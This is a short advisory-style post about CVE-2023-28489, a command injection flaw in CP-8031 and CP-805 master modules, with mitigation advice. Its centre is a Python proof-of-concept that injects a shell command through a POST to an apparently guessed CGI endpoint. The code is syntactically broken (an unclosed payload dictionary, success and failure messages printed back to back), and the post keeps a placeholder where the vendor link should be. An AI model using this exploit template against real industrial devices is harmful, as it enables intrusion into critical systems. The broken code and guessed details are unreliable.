A serious vulnerability, identified as CVE-2023-28489, has been discovered in CP-8031 MASTER MODULE (All versions < CPCI85 V05) and CP-805 MASTER MODULE (All versions < CPCI85 V05). This vulnerability can be exploited through command injection via the web server port 443/tcp. Devices are only vulnerable if the "Remote Operation" parameter is enabled - this parameter is disabled by default. When successfully exploited, this vulnerability allows an unauthenticated remote attacker to perform arbitrary code execution on the affected devices.

The following code snippet demonstrates a possible proof-of-concept exploit for this vulnerability


import requests

target_ip = "192.168.x.x" # Replace with the target IP address
target_port = 443

url = f"https://{target_ip}:{target_port}/cgi-bin/remote_operation";
cmd = "id"              # Replace with the desired command to inject

payload = {
    'command': f"$( {cmd} )"

response = requests.post(url, data=payload, verify=False)

if response.status_code == 200:
    print("Command executed successfully")
    print("Failed to execute command")

Note: This code is for educational purposes only, and should not be used maliciously.

For detailed information about this vulnerability, please refer to the following references

1. Official CVE-2023-28489 advisory
2. Vendor Security Advisory (Replace with the actual vendor advisory link)


CVE-2023-28489 is a critical vulnerability affecting CP-8031 and CP-805 Master Modules with "Remote Operation" enabled. Users should take immediate action to update their device firmware and disable "Remote Operation" if it's not required for daily operations. By taking these simple steps, organizations can prevent unauthorized access to their systems and protect their critical data.


Published on: 04/11/2023 10:15:00 UTC
Last modified on: 04/19/2023 19:59:00 UTC